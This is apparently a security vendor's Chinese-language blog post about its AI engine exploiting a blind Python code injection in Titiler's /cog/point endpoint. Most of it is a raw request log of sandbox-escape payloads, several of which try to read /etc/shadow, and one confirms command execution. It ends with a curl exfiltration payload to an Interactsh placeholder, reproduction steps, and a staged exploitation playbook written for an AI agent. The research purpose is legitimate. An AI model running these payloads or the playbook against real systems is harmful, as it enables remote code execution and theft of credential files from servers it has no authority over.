我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 97.1% 的成绩。 了解更多

安全

安全

安全研究自动化:AI 引擎利用复杂代码盲注

精准优于载荷盲测:Ostorlab 的 AI 引擎系统性地在 Titiler 上实现 RCE,无需任何堆栈跟踪即可证明数据外传。

传统漏洞利用可能需要数天甚至数周的人工测试,才能成功利用。 看到专门的 AI 系统在几分钟内利用同样的漏洞,令人深感不安, 尤其是这些系统每次执行时还会展示不同的利用技术。

Xbow 的 AI 测试引擎最近在开源应用 Titiler 中发现了一个 Python 代码执行漏洞。 这个代码注入漏洞的突出之处在于复杂性:它远非简单直接的代码执行漏洞, 需要高度定制的载荷才能成功利用。

这一发现尤其有趣的地方在于,检测成功的余地极小。深入分析后可见, 漏洞之所以被识别,是因为数百个受测载荷中恰好有一个精巧的载荷。 如果测试工具集中没有这个特定载荷,该漏洞很可能一直未被发现。

下面,我们演示如何通过一种根本不同的方法发现同一漏洞: 有条不紊地逐步构建利用载荷,最终揭示意想不到的利用向量。

从“碰中特定载荷”转向通过迭代学习进行系统性检测, 需要大量优化系统提示词,并显著改进我们的上下文工程架构。

这种系统性方法分为不同阶段:

阶段 1:初步探测

首先,使用以下特定载荷测试常见的直接注入漏洞,以了解服务器如何处理您的输入。

  1. 检测输入解析与回显:

  2. 载荷:a'"<>&z

  3. 原因:观察特殊字符如何被处理。它们是原样回显、经过 HTML 编码,还是被移除?这有助于理解上下文(例如 HTML、JSON)。

  4. 检测类型约束和错误处理:

  5. 载荷:如果参数期望数字(例如 id=123),则发送字符串(id=abc)。

  6. 原因:TypeError 或类似错误表明服务器正在处理输入,并可能提供后端语言和框架的线索。

  7. 检测代码求值(数学运算):

  8. SSTI 载荷:{{7*7}}、${7*7}、#{7*7}

  9. 原因:如果服务器返回 49,即可确认模板引擎正在对输入求值。这是 SSTI 的有力信号。
  10. 直接求值载荷:1/0
  11. 原因:这可能触发 ZeroDivisionError,确认原始表达式正在求值。这是识别反馈判据的关键步骤。

  12. 尝试直接 RCE:

  13. 载荷:__import__('os').system('id')

  14. 原因:这是最终目标。如果成功,就发现了一个严重漏洞。

如果这些初步探测揭示了漏洞,请连同载荷和证据一起报告。如果被阻止或结论不明确,请利用收集到的信息,继续执行下述核心方法。

如果探测成功,第二阶段就是尝试迭代构建载荷。


阶段 2:核心方法 - 迭代构建载荷

这是发现和利用复杂 Python 注入漏洞的主要方法。当简单载荷失败时,利用服务器响应(尤其是错误)作为反馈判据,逐步构建可工作的载荷。

底层原理(为什么有效):即使在严格沙箱化、限制了 globals 和 __builtins__ 的 Python 环境中(例如 eval(code, {'__builtins__':{}})),通常仍有一个关键逃生口:访问对象层次结构。从简单无害的对象(如空字符串 '' 或元组 ())出发,可以获取其类,沿继承树向上找到基类 <class 'object'>,再使用其 __subclasses__() 方法。这会列出应用内存中加载的每个类,相当于提供了一张通往强大内置模块和函数的地图,可用于完全逃逸沙箱并实现 RCE。以下步骤正是对这一技术的实现。

步骤 1:识别反馈判据(您的反馈机制)

  • 操作:必须先找到从服务器获得详细反馈的方法。错误消息是理想的反馈判据。
  • 载荷:{{ invalid_syntax' }}、{{ 1/0 }}
  • 目标:触发可预测的错误(例如带堆栈跟踪的 500 Internal Server Error)。
  • 指示:找到后,明确说明反馈判据是什么。例如:“反馈判据是 HTTP 响应中的 Jinja2 回溯。”

步骤 2:从有效基础开始逐步构建载荷

  • 必须从已知有效的基础开始,逐步构建载荷。确认当前步骤有效后才能进入下一步。每一步都建立在上一次成功的基础上。如果某一步失败,必须先分析错误并调整方法,再继续。

  • 建立有效基础:找到服务器能无错误求值的简单表达式。这就是基础。

  • 增量 1:访问其类:从有效基础开始访问属性。
  • 增量 2:访问基类 object:
  • 增量 3:查找所有子类:
  • 增量 4:查找可用于 RCE 的子类:筛选子类,寻找 os 等有用模块中的类。
  • 增量 5:访问模块的全局变量:
  • 最后一步:执行命令:

根据我们的经验,即使上下文正确,如果没有结构合理的系统提示词,引擎也无法确认 该问题。此外,提供过多工具会降低检测质量。以下展示引擎的实际表现。

在 'expression' 参数中发送无害数学运算,验证它是否由 Python 解释器求值。目标是观察服务器响应是否包含计算结果(例如 '49'),而不是原始字符串(例如 '7*7'),从而确认代码求值。

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:

> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression='"' Output:

> GET /cog/point/0,0?url=a.tif&expression=' HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-w "%{time_total}" "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27time%27%29.sleep%2810%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27time%27%29.sleep%2810%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1/0 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[1.7976931348623157e+308],"band_names":["b1/0"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29 HTTP/1.1

< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'list'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1 
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=https......\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:

> GET /cog/point/0,0?url=https...<omitted>...&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"https...<omitted>...: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.shape"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.shape HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'shape'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__name__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"data type must provide an itemsize"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+42%2C+99%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+42%2C+99%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["where(1==1, b1, b1*0)"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'any'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'NoneType' object is not subscriptable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'n', b1, b1*0)"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'm', b1, b1*0)"]}

Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=httpsa.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"a.tif: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:

> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'type'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'type'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__()"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__() HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'list'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:

> GET /cog/point/0,0?url=httpsa.tif&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"a.tif: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'builtin_function_or_method' object is not iterable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'builtin_function_or_method' object is not subscriptable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'tobytes'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"data type must provide an itemsize"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'array'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif\&expression=np.array(%5B1,+2,+3%5D)"' Output:

> GET /cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&expression=np.array(%5B1,+2,+3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=np.array(%5B1,2,3%5D)"' Output:

> GET /cog/point/0,0?url=a.tif&expression=np.array(%5B1,2,3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.mean%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.mean%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'mean'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'wrapper_descriptor' object has no attribute '__globals__'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:

> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('time').sleep(10)"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__('time').sleep(10) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=globals()"' Output:

> GET /cog/point/0,0?url=a.tif&expression=globals() HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1;__import__('os').system('ls')"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1;__import__('os').system('ls') HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'dict'>"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str(b1.__init__.__globals__)"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str(b1.__init__.__globals__) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["b1.__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('cat /etc/shadow')\")"]}

我们刻意保留了所有请求的原始形式,以展示引擎如何根据收到的响应迭代改进方法。

这个案例验证了我们采用的一种新兴理念:将 LLM 视为运行时环境,其中系统提示词充当可执行代码。

请看以下示例:

方法 1:直接计算

  • 系统提示词:“您是世界级数学专家”
  • 结果:LLM 尝试在内部进行数学运算,可能引入计算错误

方法 2:生成并执行代码

  • 系统提示词:“将数学问题转换为 Python 代码,通过工具执行,并返回经过验证的结果”
  • 结果:LLM 生成确定性的代码,通过外部工具执行,返回准确且可复现的结果

提示词工程中的这一根本差异表明,如何指示智能体执行任务,对输出质量和可靠性有着深刻影响。

将这一方法应用于漏洞检测场景后,引擎在首次系统性尝试中就成功确认了漏洞,与可能需要数千次迭代的传统模糊测试方法形成鲜明对照。

发现漏洞:Python 代码盲注

漏洞概述

在 '/cog/point' 端点的 'expression' 参数中发现了 Python 代码盲注漏洞。服务器对提供的表达式求值,但不在 HTTP 响应中返回命令输出,而是返回执行命令的退出码,成功执行时为 '0'。这确认命令已经执行,但结果必须通过带外方法外传。

概念验证

通过发送以下载荷确认了漏洞:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")

服务器返回 200 OK 状态和 {"values":[0.0]},其中 0.0 是 os.system 调用的退出码,证明已经执行。

利用证据

为外传 /etc/shadow 文件,我将使用 Interactsh URL 捕获 curl 命令的输出。

外传载荷:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

复现步骤

  1. 启动 Interactsh 会话,获取唯一 URL。
  2. 将 Interactsh URL 加入外传载荷,并进行 URL 编码。
  3. 向存在漏洞的端点发送 GET 请求,将编码后的载荷放入 'expression' 参数。
  4. 检查 Interactsh 会话是否收到 POST 请求。该请求体将包含 /etc/shadow 文件内容。
  5. Vulnerability Confirmation(漏洞确认):
服务器执行 os.system 调用,退出码(0)在 JSON 响应的 'values' 字段中返回,确认命令盲执行。
  • Exfiltration Payload(外传载荷):
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

下一步是利用:

执行带外外传载荷,将 /etc/shadow 文件内容发送至受控的外部服务器。目标是通过验证监听服务器是否收到文件内容,确认此漏洞可被用于窃取敏感数据。

发现漏洞:Python 代码盲注

漏洞概述

